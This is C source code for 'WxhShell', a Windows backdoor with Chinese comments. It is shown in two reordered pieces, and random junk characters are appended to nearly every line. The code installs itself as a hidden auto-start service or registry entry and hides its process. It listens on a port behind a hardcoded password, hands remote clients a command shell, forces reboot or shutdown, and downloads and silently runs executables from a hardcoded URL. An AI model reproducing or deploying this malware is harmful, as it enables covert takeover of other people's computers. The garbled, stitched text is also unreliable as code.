    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $m;DwlM  
    if(Boot(SHUTDOWN)) b>f{o_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ok(dCAKP  
    else { Y1 *8&xT  
    closesocket(wsh); Kd;)E 9Ti  
    ExitThread(0); ^'Qe.DW[  
    } 52q<|MW%  
    break; D0LoT?$N  
    } ?(>fB2^  
  // 获取shell eY8rm  
  case 's': { d< b,].  
    CmdShell(wsh); */y (~O6  
    closesocket(wsh); 4x2,X`pe3  
    ExitThread(0); P:fcbfH+  
    break; E @7);i5K  
  } x#}{z1op9  
  // 退出 HB, k}Q  
  case 'x': { G$-[(eu -  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;CLOZ{  
    CloseIt(wsh); O^KIB%}fu  
    break; ?k+>~k{}a  
    } Fm4)|5  
  // 离开 UpS7>c7s  
  case 'q': { ^(~%'f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M&^Iun  
    closesocket(wsh); 8 EUc 6  
    WSACleanup(); k.!m-5E  
    exit(1); WFG`-8_e[I  
    break; Zx 5Ue#I  
        } vY2^*3\<D  
  } m.w.h^f$&  
  } y8$I=  
Sq[LwJ  
  // 提示信息 cA{7*=G?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J1"16Uu  
} wAF<_NG#  
  } WnL7 A:sZ  
uO5y{O2W  
  return; l'twy$V4|~  
} f8S!FGiNc  
1`)e}p&  
// shell模块句柄 +{au$v}  
int CmdShell(SOCKET sock) VRD:PVz  
{ ]La~Bh6;m  
STARTUPINFO si; '|@?R|i0  
ZeroMemory(&si,sizeof(si)); fzjAP7 y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GEtzLaq<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M6XpauR-  
PROCESS_INFORMATION ProcessInfo; \`Ow)t:  
char cmdline[]="cmd"; "g:1br?X,9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !U4<4<+  
  return 0; jP}Ix8vc=  
} DE!c+s_g4  
}fh<LCwTi  
// 自身启动模式 q6EZ?bo{  
int StartFromService(void) THY=8&x)  
{ s5J?,xu  
typedef struct GGez!?E%  
{ 4KB>O)YNg'  
  DWORD ExitStatus; W[t0hbV w  
  DWORD PebBaseAddress; 1h#e-Oyff  
  DWORD AffinityMask; L)X[$:  
  DWORD BasePriority; 7~!F3WT{  
  ULONG UniqueProcessId; nd,2EX<bE  
  ULONG InheritedFromUniqueProcessId; `&URd&ouJD  
}   PROCESS_BASIC_INFORMATION; .> 5[;  
GBYwS{4  
PROCNTQSIP NtQueryInformationProcess; ):7mK03J  
'q\[aKEX=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J=6( 4>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QE+HL8c^s  
L~{3W  
  HANDLE             hProcess; W]I+Rlv)U  
  PROCESS_BASIC_INFORMATION pbi; Wgb L9'}B  
@G^m+-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Hv-f :P O  
  if(NULL == hInst ) return 0; Dbw{E:pq  
D\^\_r):  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `rb}"V+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fVz0H1\J&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :%>TM/E N  
d8.A8<wUr  
  if (!NtQueryInformationProcess) return 0; ~PyZh5x  
7f>~P_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ne 8rF.D  
  if(!hProcess) return 0; 6)yi^v  
{<Y\flj{@m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )4^Sz&\  
S`pBEM  
  CloseHandle(hProcess); C_;A~iI7  
dfT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /a }` y  
if(hProcess==NULL) return 0; K)W:@,*  
ZKt`>KZ  
HMODULE hMod; !OV+=Rwdx  
char procName[255]; e#!p6+#"  
unsigned long cbNeeded; '$5Qdaj  
`J %35  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AmB*4p5b  
WSbD."p<  
  CloseHandle(hProcess); [oOV@GE  
a/xnf<(H  
if(strstr(procName,"services")) return 1; // 以服务启动 }U@(S>,%  
9k;%R5(  
  return 0; // 注册表启动 zg$NrI&  
} /" @cv{  
=F09@C,  
// 主模块 }#2I/dn  
int StartWxhshell(LPSTR lpCmdLine) 7V-uQ)*  
{ i2E@5 v=|Y  
  SOCKET wsl; v(;n|=O  
BOOL val=TRUE; `]F#j ]"  
  int port=0; Y2}m/7aF  
  struct sockaddr_in door; 7)*q@  
#|K5ma  
  if(wscfg.ws_autoins) Install(); 7X<#  
+NTC!/  
port=atoi(lpCmdLine); M8${&&[;  
^#]eCXv  
if(port<=0) port=wscfg.ws_port; MH/bJtNq  
~uu{ v')  
  WSADATA data; ^ /)%s3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L:7 kp<E  
mD7kOOMY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3&zcdwPj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |?t}7V#[  
  door.sin_family = AF_INET; {_ {zs!r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vngn^2  
  door.sin_port = htons(port); Y%^qt]u.8  
qVE <voB8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R|[gEavFl  
closesocket(wsl); cH6J:0>W  
return 1; !:Ob3Mq\  
} S5[}kfe  
7A^L$TY  
  if(listen(wsl,2) == INVALID_SOCKET) { w d6+,B  
closesocket(wsl); 4e?MthJ>  
return 1; 7*>,BhF#  
} K{0 gkORF  
  Wxhshell(wsl); DDe`Lb%%  
  WSACleanup(); _8e0vi!~2  
GYtp%<<9;  
return 0; ] QJ7q}  
Bh;N:{&^Eu  
} {bNVNG^  
}(!3)k7*  
// 以NT服务方式启动 a1z*Z/!5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3x)jab  
{ ZQAiuea  
DWORD   status = 0; yT[)V[}  
  DWORD   specificError = 0xfffffff; ,6aF~p;wI|  
[y"Yi PK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0E#?H0<OeG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cUTG! P\R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; " f.9u  
  serviceStatus.dwWin32ExitCode     = 0; B#4'3Y-3  
  serviceStatus.dwServiceSpecificExitCode = 0;  Y+Cv9U0  
  serviceStatus.dwCheckPoint       = 0; HqXS-TG  
  serviceStatus.dwWaitHint       = 0; '^(qlCI  
D{6<,#P{w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M=4`^.Ocm  
  if (hServiceStatusHandle==0) return; T!-ly7-`  
3*N0oc^m  
status = GetLastError(); 3x>Y  
  if (status!=NO_ERROR) f1 `E-  
{ JG@Zb}b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xn anca  
    serviceStatus.dwCheckPoint       = 0; ;Qidf}:  
    serviceStatus.dwWaitHint       = 0; [`' K.-?#  
    serviceStatus.dwWin32ExitCode     = status; w,LB  
    serviceStatus.dwServiceSpecificExitCode = specificError; cG{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pzb`M'Z?C  
    return; aVp-Ps|r  
  } *hh iIiog+  
j-wKm_M#jX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rW+}3] !D/  
  serviceStatus.dwCheckPoint       = 0; + aWcK6  
  serviceStatus.dwWaitHint       = 0; P?+ VR=t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r%%@~ \z  
} @ssT$#)$!  
]>[ 0DX]j  
// 处理NT服务事件,比如:启动、停止 |d=GAW v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4ULdf|oP"  
{ &3:<WU:U  
switch(fdwControl) =oTj3+7  
{ ]3uj~la  
case SERVICE_CONTROL_STOP: C)ic;!$Qhb  
  serviceStatus.dwWin32ExitCode = 0; V6_~"pRR=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L&&AK`Ur3l  
  serviceStatus.dwCheckPoint   = 0; w`[`:H_z  
  serviceStatus.dwWaitHint     = 0; 5 Q,j+  
  { 9>;CvR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &t}6sD9o  
  } "p[3^<~uQ  
  return; Y)7\h:LIg  
case SERVICE_CONTROL_PAUSE: I2z6iT4nB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $?u LFD  
  break; BOv^L?)*Z  
case SERVICE_CONTROL_CONTINUE: WQMoAPfqL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <4TF ]5  
  break; b?:?"   
case SERVICE_CONTROL_INTERROGATE: R,8T t!n  
  break; PsBLAr\ah  
}; [Xww`OUsh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PoD/i@  
} 3|D.r-Q  
f{h2>nEj \  
// 标准应用程序主函数 v.c.5@%%o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *S'?u_Y7  
{ 5m\)82s  
5>h/LE]"  
// 获取操作系统版本 >J{e_C2ZS  
OsIsNt=GetOsVer(); zICrp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zb.sh  
S 9;FD3  
  // 从命令行安装 ,mM7g  
  if(strpbrk(lpCmdLine,"iI")) Install(); <DhuY/o  
2\CZ"a#[  
  // 下载执行文件 ]PB95%  
if(wscfg.ws_downexe) { S$/SFB$)~W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 60l!3o"p!  
  WinExec(wscfg.ws_filenam,SW_HIDE); MHS|gR.c  
} dRUmC H  
;A0ZcgF  
if(!OsIsNt) { ={50>WXE  
// 如果时win9x,隐藏进程并且设置为注册表启动 P>Ru  
HideProc(); [d=BN ,?  
StartWxhshell(lpCmdLine); |}@teN^J*U  
} bVr`a*EM  
else lU.aDmy<  
  if(StartFromService()) O6ltGtF  
  // 以服务方式启动 +pe\9F  
  StartServiceCtrlDispatcher(DispatchTable); Gn;^]8d  
else <g64N  
  // 普通方式启动 s\(@f4p  
  StartWxhshell(lpCmdLine); C|]Zpn#{K  
u$qazj  
return 0; Y6 a9S`o  
} G6qFAepwi  
cL4Xh|NBp  
F <{k~   
6iY(RYZ7-  
=========================================== 5kCXy$"%  
j{@li1W@  
~xcU6@/  
y2nT)nL  
]'Gz~Z%>F  
K{XE|g  
" Mtn{63cK  
[@NW  
#include <stdio.h> Fe2t[y:8h  
#include <string.h> ;8cTy8  
#include <windows.h> ek d[|g  
#include <winsock2.h> f||S?ns_  
#include <winsvc.h> ~|ha9 1  
#include <urlmon.h> wdIJ?\/763  
rj/nn)vv;  
#pragma comment (lib, "Ws2_32.lib") #;h> x  
#pragma comment (lib, "urlmon.lib") fn8|@)J  
Q)5V3Q]@^  
#define MAX_USER   100 // 最大客户端连接数 TXqtE("BDl  
#define BUF_SOCK   200 // sock buffer !E^\)=E)P  
#define KEY_BUFF   255 // 输入 buffer XE#$|Z  
ycf)*0k  
#define REBOOT     0   // 重启 2B+qS'OT  
#define SHUTDOWN   1   // 关机 T%E/k# )q  
H%{k.#O  
#define DEF_PORT   5000 // 监听端口 :bkmm,%O  
-X-sykDm  
#define REG_LEN     16   // 注册表键长度 }/jWa |)f  
#define SVC_LEN     80   // NT服务名长度 gI/(hp3ob  
{uxTgX  
// 从dll定义API I(j$^DA.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u.}H)wt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <(1[n pS&+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (Mw+SM3<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w,t !<i  
I(b]V!mj:  
// wxhshell配置信息 NzS`s,N4/0  
struct WSCFG { uW4.Q_O!H  
  int ws_port;         // 监听端口 0XI6gPo%  
  char ws_passstr[REG_LEN]; // 口令 9[[$5t`8  
  int ws_autoins;       // 安装标记, 1=yes 0=no UD Pn4q  
  char ws_regname[REG_LEN]; // 注册表键名 h r6?9RJY  
  char ws_svcname[REG_LEN]; // 服务名 (UZ].+)s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Sx1OY0)s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y4[oa?G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k h6n(B\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &,* ILz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1JV-X G6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *DQa6,b  
/)sP<WPQ 6  
}; F6_e n z  
T&j:gg  
// default Wxhshell configuration ~VV$wU!A  
struct WSCFG wscfg={DEF_PORT, HrUE?Sq  
    "xuhuanlingzhe", BadnL<cj]  
    1, BN6cu9a  
    "Wxhshell", DXZZZ[#  
    "Wxhshell", L0Ajj=  
            "WxhShell Service", 3Te&w9K  
    "Wrsky Windows CmdShell Service", 1! 5VWF0  
    "Please Input Your Password: ", #VsS C1  
  1, 1/%5pb2\  
  "http://www.wrsky.com/wxhshell.exe", onm" 7JsO'  
  "Wxhshell.exe" @S 0mNA  
    }; CtZOIx.;|  
\5j#ad  
// 消息定义模块 q``/7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -] G=Q1 1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X2{Aa T*M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )[ejb?{d  
char *msg_ws_ext="\n\rExit."; 8[#EC3  
char *msg_ws_end="\n\rQuit."; U[z2{\  
char *msg_ws_boot="\n\rReboot..."; f<y3/jl4  
char *msg_ws_poff="\n\rShutdown..."; a3,A_M}M'  
char *msg_ws_down="\n\rSave to "; z`,dEGfh^  
j.c{%UYj  
char *msg_ws_err="\n\rErr!"; x+v&3YF  
char *msg_ws_ok="\n\rOK!"; [kMWsiZ  
^?|d< J:{  
char ExeFile[MAX_PATH]; U|8?$/*\  
int nUser = 0; |o@U L  
HANDLE handles[MAX_USER]; #k,.xMJ~  
int OsIsNt; SAE'y2B*  
z'\BZ5riX<  
SERVICE_STATUS       serviceStatus; l nJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q x&7Ceu"  
mZ.gS1Dq  
// 函数声明 =h.` ey  
int Install(void); qRq4PQ@  
int Uninstall(void); En4!-pWHQ  
int DownloadFile(char *sURL, SOCKET wsh); O\h%ZLjfO  
int Boot(int flag); <4CqG4}Y  
void HideProc(void); l< HnPR/  
int GetOsVer(void); /v.<h*hxWy  
int Wxhshell(SOCKET wsl); GGU wS  
void TalkWithClient(void *cs); +jO#?J  
int CmdShell(SOCKET sock); Q]OR0-6<.  
int StartFromService(void); WkV0,_(P  
int StartWxhshell(LPSTR lpCmdLine); ft~QVe!  
'r1X6?d J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RFq=`/>dG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X.ZG-TC  
i O$ ?No  
// 数据结构和表定义 [7  t  
SERVICE_TABLE_ENTRY DispatchTable[] = Z_>:p^id  
{ ->Fsmb+R  
{wscfg.ws_svcname, NTServiceMain}, Ox@$ }  
{NULL, NULL} !E,|EdIr  
}; 7/K'nA  
n*TKzn4E  
// 自我安装 ~*`wRiUhis  
int Install(void) F2Gg_u@7M  
{ *%%n9T  
  char svExeFile[MAX_PATH]; iH>b"H >  
  HKEY key; s~k62  
  strcpy(svExeFile,ExeFile); UG]x CkDS  
uWi pjxS  
// 如果是win9x系统,修改注册表设为自启动 Y oZd,} i  
if(!OsIsNt) { C~PP}|<~V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %&J`mq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #%{  
  RegCloseKey(key); %}unlSTPP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BM5)SgK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~+PKWs'}F  
  RegCloseKey(key); lB7/oa1]>  
  return 0; iz+,,UH  
    } }4Q3S1|U  
  } v!=e]w6{  
} Z1p%6f`  
else { w9Nk8OsL  
D0L s~qr  
// 如果是NT以上系统,安装为系统服务 Ga` 8oY+~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bPMf='F{r  
if (schSCManager!=0) SQN{/")T  
{ D'Uc?2X,&  
  SC_HANDLE schService = CreateService SCjVzvG$yg  
  ( 2o 7o~r  
  schSCManager, BF"eVKA  
  wscfg.ws_svcname, %Rf{v5  
  wscfg.ws_svcdisp,  < B!f;  
  SERVICE_ALL_ACCESS, ^c"\%!w"O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SN`L@/I  
  SERVICE_AUTO_START, nO;ox*Bk+8  
  SERVICE_ERROR_NORMAL, wkp$/IZKMj  
  svExeFile, Np;tpq~  
  NULL, (e9hp2m  
  NULL, Y 2^y73&k  
  NULL, 7w\!3pv  
  NULL, z_). -  
  NULL 5G z~,_  
  ); a;(,$q3M  
  if (schService!=0) ^}kYJvqA  
  { -:wV3D  
  CloseServiceHandle(schService); Vkqfs4t  
  CloseServiceHandle(schSCManager); \2Kl]G(w%y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aw7pr464  
  strcat(svExeFile,wscfg.ws_svcname); {@s6ly].  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $>Gf;k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [3qJUJM  
  RegCloseKey(key); >f;oY9 {m  
  return 0; lxBcO/  
    } |r4&@)  
  } ,pW^>J  
  CloseServiceHandle(schSCManager); VotI5O $  
} \;+b1  
} (D+%*ax  
S Z &[o&H  
return 1; Rb <{o8  
} , _xJ9_  
k;.<DN  
// 自我卸载 UYpln[S  
int Uninstall(void) VD{_6  
{ wHQYBYKcd  
  HKEY key; z] |Y   
qLB(Th\&'  
if(!OsIsNt) { /#}%c'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s3~6[T?8  
  RegDeleteValue(key,wscfg.ws_regname); V_9\Ax'X  
  RegCloseKey(key); @VsK7Eo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fi6_yFl  
  RegDeleteValue(key,wscfg.ws_regname); z7a @'+'  
  RegCloseKey(key); w_Z*X5u  
  return 0; s ZokiFJ  
  } -Q1~lN m:  
} b+BX >$  
} 0%3T'N%  
else { WhV>]B2+"  
:5:_Dr<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w aDJ  
if (schSCManager!=0) |8\et  
{ Q}#H|@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >~&7D`O  
  if (schService!=0) Bv`3T Af2  
  { *yW9-(  
  if(DeleteService(schService)!=0) { +R31YR8C0  
  CloseServiceHandle(schService); ZaFqGcS~  
  CloseServiceHandle(schSCManager); _3gF~qr  
  return 0; p+{*w7?8"[  
  } @Tsdgx8  
  CloseServiceHandle(schService); tgu fU  
  } `y.i(~^1  
  CloseServiceHandle(schSCManager); eBW]hwhKzM  
} d UiS0Qs}  
} fy!,cK};  
^ X<ytOd5  
return 1; 3N{ ZX{}  
} ;giT[KK  
K]i2$M  
// 从指定url下载文件 td2bL4  
int DownloadFile(char *sURL, SOCKET wsh) q -^Z=,<  
{ uL@'Hv A  
  HRESULT hr; $7\hszjZ  
char seps[]= "/"; zx5t gZd,N  
char *token; m RtE~~p  
char *file; 8SMa5a{  
char myURL[MAX_PATH]; oc&yz>%q  
char myFILE[MAX_PATH]; @wXo{p@W  
6r)qM)97  
strcpy(myURL,sURL); 1;+(HB  
  token=strtok(myURL,seps); q5~fU$ ,  
  while(token!=NULL) 1)M%]I4  
  { ]&L[]  
    file=token; 3a,7lTUuB  
  token=strtok(NULL,seps); hfQ^C6yR  
  } wW^3/  
C#.d sl  
GetCurrentDirectory(MAX_PATH,myFILE); B4# gT  
strcat(myFILE, "\\"); Yc V*3`  
strcat(myFILE, file); =7U 8`]WA  
  send(wsh,myFILE,strlen(myFILE),0); _ "[O=h:  
send(wsh,"...",3,0); LD}ZuCp!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O.P:~  
  if(hr==S_OK) $e![^I]`  
return 0; dp>LhTLc  
else j [y+'O  
return 1; (8.|q6Nww  
'I)E.DoF  
} 3)qtz_,H/g  
<}Rr C#uiA  
// 系统电源模块 ^VB_>|UN4  
int Boot(int flag) -"3<Ll  
{ N/ mC,7Q  
  HANDLE hToken; A*hc w  
  TOKEN_PRIVILEGES tkp; `]g}M,  
affig  
  if(OsIsNt) { }^B=f_Ag  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \o,`@2H+'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p\7(IhW@  
    tkp.PrivilegeCount = 1; 'q=Ly?9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q P>Gre  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GvT'v0&+  
if(flag==REBOOT) { w.H\j9E l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >=Un=Q%  
  return 0; g\ p;  
} Z(-@8=0  
else { X2p9KC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rgg3{bU/  
  return 0; 'm+)n08[  
} *1;}c z  
  } [.`#N1-@M  
  else { nA^UF_rD-  
if(flag==REBOOT) { B^uQv|m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \)vxZ!  
  return 0; ^ $t7p 1  
} `;!v<@:i2  
else { 9l :Bum)9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ``mW\=fe  
  return 0; /8w _jjW  
} $ OMGo`z  
} co!#.  
ByPzA\;e  
return 1; @[4Tdf  
} )fz<n$3|$#  
CzZm C]5  
// win9x进程隐藏模块 p V^hZ.  
void HideProc(void) :K_JY   
{ }$|uIS  
!jxz2Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Yj^n4G(h  
  if ( hKernel != NULL ) ^g2p!7  
  { #b4Pn`[   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !&D&Gs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wA<#E6^vG  
    FreeLibrary(hKernel); niV=Ijt{5  
  } fu95-)M  
0@ 9em~  
return; 64OgE!  
} +LM /< l  
k%Q>lf<e   
// 获取操作系统版本 7$7Y)&\5 w  
int GetOsVer(void) 1[vmK,N=E  
{ %vO b"K$X  
  OSVERSIONINFO winfo; w;(`!^xv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qwU,D6  
  GetVersionEx(&winfo); agFWye  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D'Gmua]I  
  return 1; L.z`>1  
  else NK+iLXC  
  return 0; j6KGri  
} $z~sN  
cO"7wgg  
// 客户端句柄模块 ;Qc_Tf=,  
int Wxhshell(SOCKET wsl) =MqefV;-  
{ T)ra>r<#  
  SOCKET wsh; J34lu{'if  
  struct sockaddr_in client;  CKv [E  
  DWORD myID; 8*^Q#;^~99  
<Vk^fV  
  while(nUser<MAX_USER) T&=1IoOg  
{ #eT{?_wM  
  int nSize=sizeof(client); &Q[Y&vNn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MhZT<6  
  if(wsh==INVALID_SOCKET) return 1; Ncu\;K\N  
0 ej!!WP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Fss7xP'  
if(handles[nUser]==0) <5Jp2x#  
  closesocket(wsh); :*"0o{ ie  
else 4#Fz!Km  
  nUser++; ruLi "d  
  } &z r..i4O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UNJ]$x0  
x62 b=k}  
  return 0; V11Zl{uOl  
} Fa$ pr`  
qsUlfv9L6  
// 关闭 socket 7  Znr2I  
void CloseIt(SOCKET wsh) !tT$}?Ano  
{ D^Bd>Ey4  
closesocket(wsh); R)"Y 40nW  
nUser--; p-zWfXn!P  
ExitThread(0); RbJ,J)C>  
} A|V |vT7cb  
hmOhXE[ a&  
// 客户端请求句柄 t>h<XPJi  
void TalkWithClient(void *cs) SR#X\AWM  
{ N&!qu r \  
WKFmU0RK  
  SOCKET wsh=(SOCKET)cs; 3r?Bnf:  
  char pwd[SVC_LEN]; I#D{6%~  
  char cmd[KEY_BUFF]; /YWoDHL  
char chr[1]; 3 [lF  
int i,j; y_$=Pu6H  
9qe6hF/29  
  while (nUser < MAX_USER) { x)wIGo  
f$mfY6v  
if(wscfg.ws_passstr) { %Lexu)odW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 50oNN+; =R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UDHk@M  
  //ZeroMemory(pwd,KEY_BUFF); rHu  #  
      i=0; h1Ca9Z_  
  while(i<SVC_LEN) { *s/sF@8<X  
~l%Dcp  
  // 设置超时 AAkdwo  
  fd_set FdRead; @ba5iIt  
  struct timeval TimeOut; x[3kCa|4A  
  FD_ZERO(&FdRead); -Rhxib|<  
  FD_SET(wsh,&FdRead); >+=)Q,|R  
  TimeOut.tv_sec=8; \eE0Rnaf-  
  TimeOut.tv_usec=0; BW}^n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M=$y_9#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Cd.pMoS  
!ec\8Tj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jYet!l  
  pwd=chr[0]; &%`IPhbT  
  if(chr[0]==0xd || chr[0]==0xa) { 6>)]7(B<d  
  pwd=0; 5@"&%8oeq0  
  break; b+\jFGC%6=  
  } 0s:MEX6w|  
  i++; P$Y< g/s 4  
    } c?Bi  
FS r`Y  
  // 如果是非法用户,关闭 socket ^9o;=!D!9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I.j`h2  
} pr.Vfb  
m,v"N%k,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G6xdGUM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TSmuNCR  
eP-q[U?$n  
while(1) { -c!{';Zn  
8w~I(2S:#  
  ZeroMemory(cmd,KEY_BUFF); ^:K"Tv.=  
!'Xk=+  
      // 自动支持客户端 telnet标准   zr?%k]A%UO  
  j=0; %-|Po:6  
  while(j<KEY_BUFF) { 2"C'Au  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LWc}j`Wd  
  cmd[j]=chr[0]; |]~tX zY  
  if(chr[0]==0xa || chr[0]==0xd) { Gd`qZqx#  
  cmd[j]=0; )JTh=w4n|z  
  break; d:O>--$_tw  
  } ;Br8\2=$  
  j++; kssS,Ogf\_  
    } zv!%u=49  
$BG4M?Y  
  // 下载文件 y@'8vOh`  
  if(strstr(cmd,"http://")) { {IJV(%E   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3x9O<H}  
  if(DownloadFile(cmd,wsh)) V< 0gD?Kx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [a\:K2*'  
  else Lw?4xerLsb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [[QrGJr  
